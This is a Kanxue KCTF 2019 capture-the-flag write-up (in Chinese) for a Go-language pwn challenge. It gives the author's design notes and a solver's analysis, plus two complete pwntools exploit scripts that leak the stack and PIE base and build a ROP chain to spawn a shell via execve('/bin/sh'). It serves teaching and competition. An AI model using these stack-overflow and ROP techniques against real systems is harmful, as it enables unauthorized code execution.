

2019KCTF 晋级赛Q1 | 第八题点评及解题思路

小雪 看雪学院 1周前

《金银岛》一书中，英国少年吉姆偶然得到了海盗头子弗林特船长的藏宝图。于是他和父亲的朋友利维塞医生开启了一段到海外寻宝的旅程。

找到宝藏，不仅需要勇气，更需要有足够的智谋，来辨别宝藏的方位与真假。

本题《挖宝》作者为CTF选手们设置了重重考验，到底如何才能找到真正的宝藏呢？让我们一起来看看吧！

攻破此题的战队

排名	战队名	破解时间	获取积分
	 pizzatqi	166398s	100
	 萌新队	199320s	100
	 fade-vivi	390731s	100
4.	 te4t	635556s	100
5.	 AceHub	647004s	100
6.	 tekkens	710015s	100
7.	 lanlins	910924s	100
8.	 雨落星沉	1054886s	100
9.	 W8C	1110973s	100
10.	 Nu1L	1111264s	100

题目名称 第八题 挖宝

出题战队 testzzz



题目简介 PWN题
2019/3/11 15:50修正一bug，请大家重新下载，本题出题战队成绩将如下调整：防守时间将以题目更新时间“2019/3/11 15:50”开始计时。

文件 trepwn MD5：
D7C1D1FA9E0EB1ADDF59BB3B296ABB65

题目下载  trepwn.rar

提交答案

请输入注册码 (序列号)

提交

解析文章

koocola

[原创]看雪CTF 第八题
挖宝 偷鸡解题思路

本题观战人数达到**1750**人，但仅有**10**个队伍成功破解，战队“**pizzatqi**”用时将近2天时间最先收获“宝藏”。

出题团队





战队成员：BPG

个人主页：<https://bbs.pediy.com/user-678748.htm>

看雪CTF crownless 评委 点评

《挖宝》这道题的创新之处是作者采用了新颖的go语言编写了题目，但这并不妨碍破解者们利用各种方法分析与破解题目，甚至完美避开作者的原设计，让人啧啧称奇。

题目设计思路

0x01 题目设计

大概逻辑是随便瞎走，然后一共有4个宝藏，在角落上的三个是忽悠人的，随机的那个宝藏4才能留言触发栈溢出。

1. 栈溢出

栈溢出比较简单，问题是在go中的实现就比较麻烦了，具体参考我对seccon2017那道题目的源码复现：<http://leanote.com/blog/post/5c64bb2bab64415167000f48>

2. go线程堵塞

这里实现了一个多线程，当靠近了宝藏4就会新生成一个宝藏4。而在go里的多线程中有一个叫做channel的通道可以在不同线程中传输值，而如果传值了没取那么线程会堵塞在传值那条语句中，于是就不会继续随机了。

3. 编译

保护全开+去符号表

```
go build -buildmode=pie -ldflags "-extldflags=-Wl,-z,now,-z,relro -s -w" kx.go
```

不过实际上有用处的也就是pie，可以通过栈溢出泄露

```
gdb-peda$ vmmmap
StartEndPermName
0x000000c000000000x000000c000001000 rw-p mapped
=>
gdb-peda$ x /10xg0x000000c000000000
0xc000000000:0x00007ffff7fb3000x00007ffff7fb3078
=>
gdb-peda$ x /10xg0x00007ffff7fb3000+8
0x7ffff7fb3008:0x00005555559e1340x00005555559e1340
```

0x02 exp编写

1. 控制rip

输入长字符串后，直接看报错：

```
goroutine 1[running]:
runtime.systemstack_switch()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820037ae0 sp=0xc820037ad8
runtime.mallocgc(0x4138674137674136, 0x0, 0xc800000003, 0x12c)
```

```

/usr/lib/go-1.6/src/runtime/malloc.go:665+0x9eb fp=0xc820037bb8 sp=0xc820037ae0
runtime.rawstring(0x4138674137674136, 0x0, 0x0, 0x0, 0x0, 0x0)
/usr/lib/go-1.6/src/runtime/string.go:284+0x70 fp=0xc820037c00 sp=0xc820037bb8
runtime.rawstringtmp(0x0, 0x4138674137674136, 0x0, 0x0, 0x0, 0x0, 0x0)
/usr/lib/go-1.6/src/runtime/string.go:111+0xb7 fp=0xc820037c38 sp=0xc820037c00
runtime.slicebytetostring(0x0, 0x6741356741346741, 0x4138674137674136, 0x3168413068413967,
/usr/lib/go-1.6/src/runtime/string.go:93+0x6f fp=0xc820037cd0 sp=0xc820037c38
main.walk(0x396a4138, 0x0, 0xc820037ee0)
/root/golang/kx.go:94+0x6a6 fp=0xc820037e48 sp=0xc820037cd0

```

可以看到，应该是覆盖buf却把栈上的数据给覆盖了，那么直接给个可读地址替换一下就行了，最后用下面这个payload就能控制返回地址了：

```
payload = 'a'*192+ p64(0x000000c000000000)+ p64(8)+'b'*80+ p64(0x12345678)
```

2. 写入binsh

那么接下来要做的就是构造rop链了，最终目标是执行：

```

execve("/bin/sh")
=>
syscall rax=0x3b
rdi=addr_of_binsh
rsi=rdx=0

```

首先是把binsh写到bss上：

```

ROPgadget--binary kx | grep "mov qword ptr \[rdi\]"
0x000000000012ddd5: mov rax, qword ptr [rsi]; mov qword ptr [rdi], rax ; ret

```

那么现在就需要rax和rdi可控了，这样就能任意地址写了：

```

ROPgadget--binary kx | grep "pop rax"
0x0000000000003d4e8: pop rax ; ret
ROPgadget--binary kx | grep "pop rdi"
0x0000000000109fcd: pop rdi ; ret

```

3. syscall参数设置

还需要控制rdx和rsi

```
ROPgadget--binary kx | grep "pop rsi"
0x00000000000113d1e: pop rsi ; ret
ROPgadget--binary kx | grep "pop rdx"
0x00000000000152a0e: pop rdx ; or byte ptr [rax-0x77], cl ; ret // 这里需要先将rax设置为-
```

4. getshell

最后就只需要syscall了

```
ROPgadget--binary kx | grep "syscall"
0x0000000000012de39: syscall ; ret
```

0x03 EXP

```
#!/usr/bin/env python
# coding=utf-8
from pwn import*
from random import random
import sys, time
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.binary = "./kx"
p = remote("127.0.0.1", 8888)
def walk():
    step = ["w", "s", "a", "d"]
    while True:
        recv = p.recvuntil(">>>")
        if "Treasure 4" in recv:
            print("success!")
            return
        p.sendline(step[int(random()*4)])
        p.recvuntil("Please input you name :")
        p.sendline("mutepig")
# leak golang_base
walk()
payload = 'a'*192 + p64(0x000000c000000000) + p64(8)
p.sendline(payload)
p.recvuntil("Ok. Your message: ")
```

```
leak = u64(p.recv(8))
# leak code base
walk()
payload = 'a'*192+ p64(leak+8)+ p64(8)
p.sendline(payload)
p.recvuntil("Ok. Your message: ")
base_addr = u64(p.recv(8))-0x48d340
# ROP
walk()
pop_rax = p64(base_addr +0x18330)
pop_rdi = p64(base_addr +0x10a34d)
pop_rsi = p64(base_addr +0x11409e)
pop_rdx = p64(base_addr +0x15312e)
writeable_addr = p64(base_addr +0x487e80) #p64(0x000000c000000000)
move_rdi_rax = p64(base_addr +0x12ddc9)
syscall_addr = p64(base_addr +0x12e1b9)
payload = 'a'*192+ p64(0x000000c000000000)+ p64(8)+'b'*80#+ p64(0x12345678)
## write binsh
payload += pop_rax
payload += "/bin/sh\x00"
payload += pop_rdi
payload += writeable_addr
payload += move_rdi_rax
## set rsi=rdi=0, rax=0x3b
payload += pop_rsi
payload += p64(0)
payload += pop_rax
payload += p64(0x000000c000000077)
payload += pop_rdx
payload += p64(0)
payload += pop_rax
payload += p64(0x3b)
## exploit
payload += syscall_addr
p.sendline(payload)
p.interactive()
```

破解思路

本题解题思路由看雪论坛 **kkHAIKE** 提供



发消息

kkHAIKE

专家

精华数: 9

RANK: 460

雪币: 922

商城

浏览人数: 123

在线时长: 6个月

注册时间: 2008-01-11

最近活跃: 1小时前

参考

- 1、google it: golang pwn
BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知：
①golang 的 pwn 差不多都是栈溢出 rop
②syscall_Syscall 是栈传参很容易利用

- 2、Seccon2017 - Golang Overflow
得知：
①golang 的栈地址比较固定(0xC820000000)
②讲解了如何 pass runtime_slicebytetostring 函数

保护检测

RELRO	STACK CANARY	NX	PIE	FILE
Full RELRO	Canary found	NX enabled	PIE enabled	apwn

保护全开，google 上的参考还是固定基址比较好做

程序逻辑

使用 IDAGolangHelper 脚本，能够解析 golang 的函数名，比较好分析

- 1、输入名字(考点：大多数 pwn 题目，名字这个地方都是为了方便你以后填充数据用的)。
- 2、make(chan string, 5)，这个chan 后面协程中用到。
- 3、go 了一个协程，这个协程会以很短间隔将 宝藏4 从你身边移动开，每移动一次，向上面的 chan 中输出一条字符串，由于没有地方读取这个 chan，所以随机移动 5次 后就会挂起。
- 4、读取你的输入 w/s/a/d 对应移动(上下左右)。
- 5、调用 walk 移动。
- 6、地图是 6x6，当移动到 (5,0) (5,5) (0,5) 会获取到宝藏123，只有宝藏4是随机坐标，并且会逃跑5次，每得到宝藏后会让你输入 信息 并输出，且信息的缓存都只有 48字节，只是缓存的方式不一样。

利用点

- 1、由于 golang 的题基本都是栈溢出，并且只有 宝藏4 用到了栈，再且 宝藏4 这么难拿，就是它了，先要玩游戏拿到 宝藏4
- 2、紧接的 runtime_slicebytetostring 函数可以用来输出 程序基址

泄露 程序基址

runtime_slicebytetostring 的 参数是 slice 结构

```
struct slice
{
char *data;
__int64 len;
__int64 cap;
};
```

通过 gdb 尝试得到栈结构

A*192 | slice->data | slice->len | slice->cap | B*72 | ret

我们能够操纵 slice 的成员来打印任何地址，测试的时候发现 len 不能设置很大，所以代码分 2 次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)

syscall 利用

linux 下 syscall 59 是 execve, 构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)

代码

```
from pwn import *
import itertools

p = remote("211.159.175.39", 8787)
# p = process("./trepwn")

def move(xd, yd):
    if xd == 1:
        m = "d"
    elif xd == -1:
        m = "a"
    elif yd == 1:
        m = "w"
    elif yd == -1:
        m = "s"

    p.sendline(m)

msg = p.recvuntil(">>")
if "Treasure 4" in msg:
    return True
elif "Treasure" in msg:
    # 跳过 宝藏123
    p.sendline("skip")
    p.recvuntil(">>")

return False
```

```
def play():
    # 遍历地图
    steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
              (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
              (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0),

              (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
              (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
              (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
              (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)]

    # 通过 cycle 无限遍历地图直到 宝藏4
    for xd, yd in itertools.cycle(steps):
        if move(xd, yd):
            break

    # golang 的栈基址
    _stack = 0xC820000000

    # walk 的 4个 返回偏移, w/s/a/d 4处调用
    _rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036]
    # syscall 利用偏移
    _syscall_Syscall = 0x186600

    import sys

    def main():
        p.sendlineafter("name :\n", "/bin/sh")
        p.recvuntil(">>")

        # 玩第一次 泄露 输入的名称
        play()

        # 尝试 0xA000 -> 0xC000 的范围
        p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000))

        ret = p.recvuntil(">>")
        idx = ret.find("Your message: ")
        ret = ret[idx + len("Your message: "):]
```

```

# _leak_name 为栈中地址
idx_name = ret.index("/bin/sh\0")
_leak_name = _stack + 0xA000 + idx_name
print hex(_leak_name)

# 玩第二次 泄露 返回地址
play()

# 尝试 0x41E00 -> 0x44E00
p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000))

ret = p.recvuntil(">>")
idx = ret.find("Your message: ")
ret = ret[idx + len("Your message: "):]

idx_ret = ret.index("A"*192)
idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72

# 返回地址
addr_ret = u64(ret[idx_ret: idx_ret+8])
print hex(addr_ret)

# 返回地址有4种, 通过后3字节不变的原则来确定基址
for r in _rets:
    if r&0xFFF == addr_ret&0xfff:
        base = addr_ret - r
        break

print hex(base)

# 最后玩一次输入 rop
play()

# slice->len 为 0就能跳过 runtime_slicebytetostring
p.sendline("A"*200 + p64(0) + "B"*80 + \
p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0))

p.interactive()

main()

```




看雪CTF晋级赛Q1 题解列表

- 1、2019KCTF 晋级赛Q1 | 第一题点评及解题思路
- 2、2019KCTF 晋级赛Q1 | 第二题点评及解题思路
- 3、2019 KCTF 晋级赛Q1 | 第三题点评及解题思路
- 4、2019KCTF 晋级赛Q1 | 第四题点评及解题思路
- 5、2019 KCTF 晋级赛Q1 | 第五题点评及解题思路
- 6、2019 KCTF 晋级赛Q1 | 第六题点评及解题思路
- 7、2019 KCTF 晋级赛Q1 | 第七题点评及解题思路



- End -

热门图书推荐

戳  立即购买!



新鲜·有料·实用的技术干货和资讯

长按  关注，和业内精英一起学习

公众号ID: ikanxue

官方微博: 看雪安全

商务合作: wsc@kanxue.com



戳原文，查看更多精彩writeup!

阅读原文